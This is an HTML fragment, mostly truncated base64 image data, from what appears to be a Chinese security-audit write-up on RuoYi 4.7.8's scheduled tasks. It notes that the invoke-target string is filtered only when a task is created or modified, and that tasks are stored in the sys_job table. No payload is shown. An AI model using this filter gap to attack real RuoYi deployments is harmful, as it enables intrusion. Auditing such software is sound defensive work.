u+QFroZKfymd2oor0wmPJxSsCV/E/c3wYFYQJ6pIfsGwZL3bXjTY9p5z2PW/4/+3C6XsG4Cr5AkvacT/ffqzT9Uuu1C3G1LH/56cRks1XrykaezJSXfDZYe16OcWgU6ljrAaqmMlMLHsiZf05fus/8/8lvtGlnS7udpePywmpqs/+fKYXp087MBnXOdO/lZR1/UDYOPafPlTivucqzS55+1XUj6n3Gt73PWKSjl2jOsnV12h+Ztn3/+FWaAFGaKVFTes2dYO7tUpA/2Y3uGtfO2SR1+J5BtO/+8LzgWFb+XamgsoXSPT43bJBXJaptXoleQlZF/zUko0m5fsQquV4FYQmFFFW+IZK9bmUF39pxdmlOk3XltF25bpk+lFQuauB+TYomwNBBXY7/Tr/zMk/w+1TAr5U+v6PT2v9XdLx/ID3QYX1TTpe/q6FulgiNVMN/W6ao3GldobJ/SnVEFBii1AQAAqBc1mcUm3OZRZjIm64N/SulUSulEVDpuVrB1SKP9PpmDXrV6vWr1DinTElQy1mEt7hlRsCWjIa9Xrd5eJU1JU0N5H/T9Owx7/zlno/fq0P236ehR60bt0P23WT/Zm7IBvXb/bTp0/891qqBHC29bzhd1w+BDWp/d7uc6d89junlPBZsus133PZ33U+oxt4PPPTgv2LFQ8GOxGSXOvpztC9twHnOvtyKaHtLWd+zXc/iorugaVkMFm20Ih7T55M9z50/eWDWlzz/LldrcF9C5/tt06P7v6MTpJm0Nf9FadMc/6s4uQyf67XaHTW3uy/Wp4XH3+XebDrnLY+74R910j6mj2T5VmCUyOqlTatJVrvO44bYm6ehk7jk1PWSN13L/bTrUPyHdE9INdzh9esx1LL6jE5se0p3O81kpnX61GhlNVhSXCWm021Cyz7kuefMCEfGQX61er3onil/jjPaIArO92XU8nVEFJFmBiaCMid7s9c5sj2i0x+ljVOF2077eWT95gZUyfSptXIkjpowdfrsPzrEwlZ5wtjfk6w9oxm57aMqj4HDIWpQtX/Taz8dQMBHNtbUkz+tfjm3SZ7cXPGw+r6MfXKXb//r3+pJRdMPKbb9LW/SuTlYbJRmYVMZolb9zifsHAADARaMGAZIONW4yNfOGFB62P/gPZqSTMxV96xaIBeQxk9qfvQmIac9gJvthPtzmkaYm7W8rrQ/62tTo+nDerEbD2v8F4Q6fDE3oj9lvzgf0f3/9nq64rafsZpKsTBonwOT+cW5Line truncated
|
||||
<p blockindex=90><img src="data:image/png;base64,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 truncated
|
||||
<h2 blockindex=91>4.7.8(最新版)</h2>
|
||||
<p blockindex=92>依旧是没办法绕过黑白名单的限制。之前我们大概分析了一下定时任务的创建。对<strong>调用目标字符串</strong>过滤是在定时任务创建时进行的</p>
|
||||
<p blockindex=93>审计之后可以看到,对目标字符串的过滤只发生在增加、修改计划任务时</p>
|
||||
<p blockindex=94><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=95>创建后的定时任务信息存储在<strong>sys_job</strong>表中</p>
|
||||
<p blockindex=96><img src="data:image/png;base64,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